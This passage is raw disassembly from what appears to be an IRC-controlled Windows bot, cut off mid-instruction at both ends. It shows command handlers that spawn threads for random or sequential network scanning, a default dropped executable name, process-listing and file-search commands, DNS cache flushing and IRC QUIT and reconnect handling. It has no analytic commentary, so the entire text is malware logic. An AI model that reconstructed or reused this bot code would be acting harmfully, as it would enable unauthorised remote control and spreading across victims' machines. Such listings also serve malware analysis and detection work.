[ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+Src], ebx jz short loc_4038D8 mov edi, offset dword_431B00 loc_40389C: ; CODE XREF: sub_401ACD+1DEDj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax ; Str2 lea eax, [edi-28h] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_4038BE inc [ebp+Src] add edi, 40h cmp [edi], ebx jnz short loc_40389C jmp short loc_4038D8 ; --------------------------------------------------------------------------- loc_4038BE: ; CODE XREF: sub_401ACD+1DE3j mov eax, [ebp+Src] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431B00[ecx] mov [ebp+var_74C], ecx loc_4038D8: ; CODE XREF: sub_401ACD+1DC8j ; sub_401ACD+1DEFj cmp [ebp+var_74C], ebx jz loc_403AE1 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CB5F8 ; getsockname mov al, [ebp+var_8FF] push edi ; Args neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+Count], eax push [ebp+Count] ; Count call dword_4CB6E0 ; inet_ntoa push eax ; Source lea eax, [ebp+var_860] push eax ; Dest call _strncpy xor eax, eax cmp [ebp+var_8FF], bl push 30h ; Ch setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax ; Str call _strrchr add esp, 14h cmp edi, ebx mov byte ptr [ebp+File+3], bl jle short loc_403980 loc_40395E: ; CODE XREF: sub_401ACD+1EB1j cmp eax, ebx jz short loc_403980 mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h ; Ch push eax ; Str call _strrchr inc byte ptr [ebp+File+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+File+3] cmp ecx, edi jl short loc_40395E loc_403980: ; CODE XREF: sub_401ACD+1E8Fj ; sub_401ACD+1E93j mov eax, [ebp+arg_4] push [ebp+Format] ; Format mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi ; Count push eax ; Dest mov [ebp+var_720], 1 call __snprintf push offset byte_43D808 ; Str2 push esi ; Str1 call _strcmp add esp, 14h test eax, eax jz short loc_4039E2 push esi ; Format lea eax, [ebp+var_7D0] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_4039E8 ; --------------------------------------------------------------------------- loc_4039E2: ; CODE XREF: sub_401ACD+1F00j mov [ebp+var_7D0], bl loc_4039E8: ; CODE XREF: sub_401ACD+1F13j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039FA mov eax, offset aSequential ; "Sequential" loc_4039FA: ; CODE XREF: sub_401ACD+1F26j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+Dst] push offset asc_42C620 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B0F7 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40C33D push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403A84 loc_403A72: ; CODE XREF: sub_401ACD+1FB5j cmp [ebp+var_71C], ebx jnz short loc_403A9F push 32h call ds:dword_427078 ; Sleep jmp short loc_403A72 ; --------------------------------------------------------------------------- loc_403A84: ; CODE XREF: sub_401ACD+1FA3j call ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Dst] push offset asc_42C5E4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_403A9F: ; CODE XREF: sub_401ACD+1FABj cmp [ebp+var_8], ebx jnz short loc_403AC0 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h loc_403AC0: ; CODE XREF: sub_401ACD+1FD5j lea eax, [ebp+Dst] push eax call sub_4151AD pop ecx loc_403ACD: ; CODE XREF: sub_401ACD+1D95j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403818 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE1: ; CODE XREF: sub_401ACD+1E11j push offset unk_42C5AC jmp loc_406F05 ; --------------------------------------------------------------------------- loc_403AEB: ; CODE XREF: sub_401ACD+1B66j ; sub_401ACD+1B7Bj push 5 call sub_40B33F test eax, eax pop ecx jle short loc_403B01 push offset unk_42C58C jmp loc_406F05 ; --------------------------------------------------------------------------- loc_403B01: ; CODE XREF: sub_401ACD+2028j mov eax, dword ptr [ebp+esi+Args] cmp eax, ebx jz short loc_403B24 push eax ; Format mov edi, 104h lea eax, [ebp+var_2D50] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_403B38 ; --------------------------------------------------------------------------- loc_403B24: ; CODE XREF: sub_401ACD+203Dj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx call ds:dword_427070 ; GetModuleFileNameA loc_403B38: ; CODE XREF: sub_401ACD+2055j mov esi, [ebp+esi+Format] cmp esi, ebx jnz short loc_403B48 mov esi, offset Str ; "nvigqyvja.exe" loc_403B48: ; CODE XREF: sub_401ACD+2074j push esi ; Format lea eax, [ebp+var_2C4C] push edi ; Count push eax ; Dest call __snprintf mov eax, dword_429078 push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+Dst] push [ebp+var_2B40] push offset asc_42C558 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 5 ; int push eax ; Source call sub_40B0F7 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset sub_411797 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403C14 loc_403BFE: ; CODE XREF: sub_401ACD+2145j cmp [ebp+var_2AB4], ebx jnz loc_40828C push 32h call ds:dword_427078 ; Sleep jmp short loc_403BFE ; --------------------------------------------------------------------------- loc_403C14: ; CODE XREF: sub_401ACD+212Fj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42C51C jmp loc_4049EC ; --------------------------------------------------------------------------- loc_403C25: ; CODE XREF: sub_401ACD+1B3Cj ; sub_401ACD+1B51j mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_403C44 push edi ; Str call _atoi test eax, eax pop ecx jz short loc_403C44 push edi ; Str call _atoi pop ecx jmp short loc_403C49 ; --------------------------------------------------------------------------- loc_403C44: ; CODE XREF: sub_401ACD+2161j ; sub_401ACD+216Cj mov eax, dword_42907C loc_403C49: ; CODE XREF: sub_401ACD+2175j mov esi, [ebp+esi+Format] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7C lea eax, [ebp+var_37CC] push esi ; Format push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_403CA7 ; --------------------------------------------------------------------------- loc_403C7C: ; CODE XREF: sub_401ACD+219Cj lea eax, [ebp+FullPath] push 104h push eax call ds:dword_427074 ; GetSystemDirectoryA push ebx ; Ext push ebx ; Filename lea eax, [ebp+Drive] push ebx ; Dir push eax ; Drive lea eax, [ebp+FullPath] push eax ; FullPath call __splitpath add esp, 14h loc_403CA7: ; CODE XREF: sub_401ACD+21ADj lea eax, [ebp+var_37CC] push eax ; Str call _strlen cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD2 lea eax, [ebp+var_37CC] push eax ; Str call _strlen pop ecx mov [ebp+eax+var_37CD], bl loc_403CD2: ; CODE XREF: sub_401ACD+21EFj push [ebp+Format] ; Format mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+Dst] push offset asc_42C4E0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 3 ; int push eax ; Source call sub_40B0F7 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D6 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403D86 loc_403D74: ; CODE XREF: sub_401ACD+22B7j cmp [ebp+var_36AC], ebx jnz short loc_403DA1 push 32h call ds:dword_427078 ; Sleep jmp short loc_403D74 ; --------------------------------------------------------------------------- loc_403D86: ; CODE XREF: sub_401ACD+22A5j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset asc_42C4A4 ; "-" loc_403D92: ; CODE XREF: sub_401ACD+241Aj ; sub_401ACD+4D05j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_403DA1: ; CODE XREF: sub_401ACD+22ADj ; sub_401ACD+23FEj ... cmp [ebp+var_8], ebx jnz loc_4083BD push ebx push edi jmp loc_407286 ; --------------------------------------------------------------------------- loc_403DB1: ; CODE XREF: sub_401ACD+1B12j ; sub_401ACD+1B27j mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_403DD0 push edi ; Str call _atoi test eax, eax pop ecx jz short loc_403DD0 push edi ; Str call _atoi pop ecx jmp short loc_403DD5 ; --------------------------------------------------------------------------- loc_403DD0: ; CODE XREF: sub_401ACD+22EDj ; sub_401ACD+22F8j mov eax, dword_429080 loc_403DD5: ; CODE XREF: sub_401ACD+2301j mov [ebp+var_1824], eax mov eax, [ebp+esi+Format] cmp eax, ebx jnz short loc_403DEC lea eax, [ebp+var_C4] loc_403DEC: ; CODE XREF: sub_401ACD+2317j push eax ; Format lea eax, [ebp+var_1964] push 40h ; Count push eax ; Dest call __snprintf mov esi, [ebp+esi+Str2] add esp, 0Ch cmp esi, ebx jnz short loc_403E0E mov esi, offset byte_43D808 loc_403E0E: ; CODE XREF: sub_401ACD+233Aj push esi ; Format lea eax, [ebp+var_1924] push 100h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+Format] ; Format push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+Dst] push offset asc_42C468 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 9 ; int push eax ; Source call sub_40B0F7 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset sub_410A4E push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403EDB loc_403EC5: ; CODE XREF: sub_401ACD+240Cj cmp [ebp+var_180C], ebx jnz loc_403DA1 push 32h call ds:dword_427078 ; Sleep jmp short loc_403EC5 ; --------------------------------------------------------------------------- loc_403EDB: ; CODE XREF: sub_401ACD+23F6j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42C42C jmp loc_403D92 ; --------------------------------------------------------------------------- loc_403EEC: ; CODE XREF: sub_401ACD+1AE8j ; sub_401ACD+1AFDj mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_403EFF push esi ; Str call _atoi jmp short loc_403F06 ; --------------------------------------------------------------------------- loc_403EFF: ; CODE XREF: sub_401ACD+2428j push 0Bh call sub_40B35E loc_403F06: ; CODE XREF: sub_401ACD+2430j cmp eax, ebx pop ecx jz loc_409855 push eax ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BA57 jmp loc_4043BA ; --------------------------------------------------------------------------- loc_403F26: ; CODE XREF: sub_401ACD+1ABEj ; sub_401ACD+1AD3j mov eax, dword_4CB570 cmp eax, ebx jz short loc_403F43 call eax ; DnsFlushResolverCache test eax, eax jz short loc_403F3C push offset unk_42C408 jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F3C: ; CODE XREF: sub_401ACD+2466j push offset unk_42C3DC jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F43: ; CODE XREF: sub_401ACD+2460j push offset asc_42C3B0 ; "-" loc_403F48: ; CODE XREF: sub_401ACD+246Dj ; sub_401ACD+2474j ... lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf jmp loc_406CDC ; --------------------------------------------------------------------------- loc_403F5E: ; CODE XREF: sub_401ACD+1A94j ; sub_401ACD+1AA9j call sub_40AB32 test eax, eax jz short loc_403F6E push offset unk_42C38C jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401ACD+2498j push offset unk_42C360 jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F75: ; CODE XREF: sub_401ACD+1A6Aj ; sub_401ACD+1A7Fj cmp [ebp+var_8], ebx jnz short loc_403F94 push ebx ; int push [ebp+var_4] ; int push offset dword_42C348 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h loc_403F94: ; CODE XREF: sub_401ACD+24ABj push ebx ; int push [ebp+var_4] ; int call sub_4181D7 push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 push offset dword_42C32C jmp loc_404286 ; --------------------------------------------------------------------------- loc_403FB6: ; CODE XREF: sub_401ACD+18FAj ; sub_401ACD+190Fj push 0Ah call sub_40B33F test eax, eax pop ecx jle short loc_403FCC push offset unk_42C300 jmp loc_409602 ; --------------------------------------------------------------------------- loc_403FCC: ; CODE XREF: sub_401ACD+24F3j push [ebp+Format] push [ebp+arg_4] call sub_419C65 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEB push offset unk_42C2D8 jmp loc_409602 ; --------------------------------------------------------------------------- loc_403FEB: ; CODE XREF: sub_401ACD+2512j push offset unk_42C2B8 jmp loc_409602 ; --------------------------------------------------------------------------- loc_403FF5: ; CODE XREF: sub_401ACD+18D0j ; sub_401ACD+18E5j push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40A7CF jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400E: ; CODE XREF: sub_401ACD+18A6j ; sub_401ACD+18BBj push dword ptr [ebp+esi+Args] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_416C29 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402B: ; CODE XREF: sub_401ACD+187Cj ; sub_401ACD+1891j or edi, 0FFFFFFFFh call ds:dword_4270A8 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx mov [ebp+Src], eax jz short loc_404054 push esi ; Str call _atoi pop ecx mov edi, eax loc_404054: ; CODE XREF: sub_401ACD+257Cj mov eax, [ebp+Src] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406D cmp edi, 0FFFFFFFFh jnz loc_409855 loc_40406D: ; CODE XREF: sub_401ACD+2595j push ebx call sub_41A88C pop ecx push eax lea eax, [ebp+Dst] push offset asc_42C2A0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 lea eax, [ebp+Dst] push eax call sub_4151AD loc_4040AB: ; CODE XREF: sub_401ACD+529Dj add esp, 24h jmp loc_409855 ; --------------------------------------------------------------------------- loc_4040B3: ; CODE XREF: sub_401ACD+1852j ; sub_401ACD+1867j push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] call sub_415A30 add esp, 0Ch push offset dword_42C280 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_4040D1: ; CODE XREF: sub_401ACD+1828j ; sub_401ACD+183Dj push 27h call sub_40B33F test eax, eax pop ecx jle short loc_404105 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx ; int push [ebp+var_4] ; int push offset unk_42C260 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 loc_4040FD: ; CODE XREF: sub_401ACD+7238j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404105: ; CODE XREF: sub_401ACD+260Ej push [ebp+Format] ; Format lea eax, [ebp+var_B2C] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] mov esi, dword ptr [ebp+esi+Args] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404166 push esi ; Str2 push offset aFull ; "full" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404166 mov [ebp+var_AA8], 1 loc_404166: ; CODE XREF: sub_401ACD+267Cj ; sub_401ACD+268Dj lea eax, [ebp+Dst] push offset asc_42C23C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 27h ; int push eax ; Source call sub_40B0F7 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EC push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4041D4 loc_4041BE: ; CODE XREF: sub_401ACD+2705j cmp [ebp+var_A9C], ebx jnz loc_409631 push 32h call ds:dword_427078 ; Sleep jmp short loc_4041BE ; --------------------------------------------------------------------------- loc_4041D4: ; CODE XREF: sub_401ACD+26EFj call ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Dst] push offset asc_42C200 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_409631 ; --------------------------------------------------------------------------- loc_4041F4: ; CODE XREF: sub_401ACD+17FEj ; sub_401ACD+1813j cmp [ebp+var_8], ebx jnz short loc_404213 push ebx ; int push [ebp+var_4] ; int push offset dword_42C1E4 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h loc_404213: ; CODE XREF: sub_401ACD+272Aj push [ebp+arg_4] call dword_4CB6EC ; closesocket call dword_4CB5AC ; WSACleanup call sub_41835A push ebx call ds:dword_427064 ; ExitProcess loc_40422E: ; CODE XREF: sub_401ACD+17D4j ; sub_401ACD+17E9j push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push eax call sub_41AA43 pop ecx pop ecx push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 push offset dword_42C1C8 jmp short loc_404286 ; --------------------------------------------------------------------------- loc_404259: ; CODE XREF: sub_401ACD+17AAj ; sub_401ACD+17BFj push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF7 add esp, 0Ch push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 push offset dword_42C1AC loc_404286: ; CODE XREF: sub_401ACD+24E4j ; sub_401ACD+278Aj call sub_4151AD add esp, 18h jmp loc_409855 ; --------------------------------------------------------------------------- loc_404293: ; CODE XREF: sub_401ACD+1780j ; sub_401ACD+1795j push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_41524D jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AC: ; CODE XREF: sub_401ACD+1756j ; sub_401ACD+176Bj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EB mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_4042EB push esi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_4042EB push eax push offset aS_6 ; "%s" lea eax, [ebp+var_1594] push 80h ; Count push eax ; Dest call __snprintf add esp, 10h loc_4042EB: ; CODE XREF: sub_401ACD+27E8j ; sub_401ACD+27F3j ... push [ebp+Format] ; Format lea eax, [ebp+var_1614] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+Dst] push offset asc_42C194 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 25h ; int push eax ; Source call sub_40B0F7 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset sub_41528E push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40438E loc_404378: ; CODE XREF: sub_401ACD+28BFj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h call ds:dword_427078 ; Sleep jmp short loc_404378 ; --------------------------------------------------------------------------- loc_40438E: ; CODE XREF: sub_401ACD+28A9j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42C15C jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439F: ; CODE XREF: sub_401ACD+172Cj ; sub_401ACD+1741j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_415135 push offset dword_42C144 call sub_4151AD loc_4043BA: ; CODE XREF: sub_401ACD+2454j add esp, 10h jmp loc_409855 ; --------------------------------------------------------------------------- loc_4043C2: ; CODE XREF: sub_401ACD+1702j ; sub_401ACD+1717j push [ebp+Format] ; Format lea eax, [ebp+var_BC4] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] mov esi, dword ptr [ebp+esi+Args] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441C push offset aSub ; "sub" push esi ; Str1 call _strcmp neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404422 ; --------------------------------------------------------------------------- loc_40441C: ; CODE XREF: sub_401ACD+2933j mov [ebp+var_B40], ebx loc_404422: ; CODE XREF: sub_401ACD+294Dj lea eax, [ebp+Dst] push offset asc_42C120 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 28h ; int push eax ; Source call sub_40B0F7 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_40B162 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404490 loc_40447A: ; CODE XREF: sub_401ACD+29C1j cmp [ebp+var_B34], ebx jnz loc_406D00 push 32h call ds:dword_427078 ; Sleep jmp short loc_40447A ; --------------------------------------------------------------------------- loc_404490: ; CODE XREF: sub_401ACD+29ABj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42C0E4 jmp loc_409227 ; --------------------------------------------------------------------------- loc_4044A1: ; CODE XREF: sub_401ACD+1686j ; sub_401ACD+169Bj push offset aQsfposs ; "qsfposs" push offset asc_42C0CC ; "-" loc_4044AB: ; CODE XREF: sub_401ACD+2A1Dj lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 20h jmp loc_406D00 ; --------------------------------------------------------------------------- loc_4044D8: ; CODE XREF: sub_401ACD+165Cj ; sub_401ACD+1671j push dword_4CB394 call sub_41A88C pop ecx push eax push offset unk_42C0A0 jmp short loc_4044AB ; --------------------------------------------------------------------------- loc_4044EC: ; CODE XREF: sub_401ACD+1632j ; sub_401ACD+1647j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_40451E cmp [ebp+var_C], ebx jz short loc_40452D push esi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_40452D push eax ; Args push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 0Ch jmp short loc_40452D ; --------------------------------------------------------------------------- loc_40451E: ; CODE XREF: sub_401ACD+2A28j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] ; int call sub_409A2D pop ecx pop ecx loc_40452D: ; CODE XREF: sub_401ACD+2A2Dj ; sub_401ACD+2A3Cj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404534: ; CODE XREF: sub_401ACD+1608j ; sub_401ACD+161Dj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] ; int call sub_409A2D push offset dword_42C050 call sub_4151AD add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404556: ; CODE XREF: sub_401ACD+15DEj ; sub_401ACD+15F3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409A2D push offset dword_42C01C call sub_4151AD add esp, 0Ch jmp loc_4097BA ; --------------------------------------------------------------------------- loc_404575: ; CODE XREF: sub_401ACD+15B4j ; sub_401ACD+15C9j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40B7DB jmp loc_404934 ; --------------------------------------------------------------------------- loc_40458B: ; CODE XREF: sub_401ACD+158Aj ; sub_401ACD+159Fj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40B786 jmp loc_404934 ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_401ACD+1560j ; sub_401ACD+1575j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40B71A jmp loc_404934 ; --------------------------------------------------------------------------- loc_4045B7: ; CODE XREF: sub_401ACD+1536j ; sub_401ACD+154Bj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40B64B jmp loc_404934 ; --------------------------------------------------------------------------- loc_4045CD: ; CODE XREF: sub_401ACD+1491j ; sub_401ACD+14A6j push dword ptr [ebp+esi+Args] push 27h push offset aProcessList ; "Process list" push offset dword_42BFFC jmp loc_402B25 ; --------------------------------------------------------------------------- loc_4045E5: ; CODE XREF: sub_401ACD+1467j ; sub_401ACD+147Cj push dword ptr [ebp+esi+Args] push 24h push offset aFindFile ; "Find file" push offset dword_42BFE0 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_4045FD: ; CODE XREF: sub_401ACD+1083j ; sub_401ACD+1098j mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_40461C push edi ; Str call _atoi test eax, eax pop ecx jz short loc_40461C push edi ; Str call _atoi pop ecx jmp short loc_404621 ; --------------------------------------------------------------------------- loc_40461C: ; CODE XREF: sub_401ACD+2B39j ; sub_401ACD+2B44j mov eax, dword_429074 loc_404621: ; CODE XREF: sub_401ACD+2B4Dj mov esi, [ebp+esi+Format] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404646 push esi ; Format loc_404633: ; CODE XREF: sub_401ACD+2B88j lea eax, [ebp+var_5A0] push 10h ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_40465D ; --------------------------------------------------------------------------- loc_404646: ; CODE XREF: sub_401ACD+2B63j cmp [ebp+var_8FF], bl jz short loc_404657 lea eax, [ebp+var_C4] push eax jmp short loc_404633 ; --------------------------------------------------------------------------- loc_404657: ; CODE XREF: sub_401ACD+2B7Fj mov [ebp+var_5A0], bl loc_40465D: ; CODE XREF: sub_401ACD+2B77j mov eax, [ebp+var_4] push [ebp+Format] ; Format mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h ; Count mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax ; Dest mov [ebp+var_624], esi call __snprintf add esp, 0Ch push [ebp+var_590] push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+Dst] push offset asc_42BFB8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 19h ; int push eax ; Source call sub_40B0F7 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset sub_4111CE push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40470E loc_4046F8: ; CODE XREF: 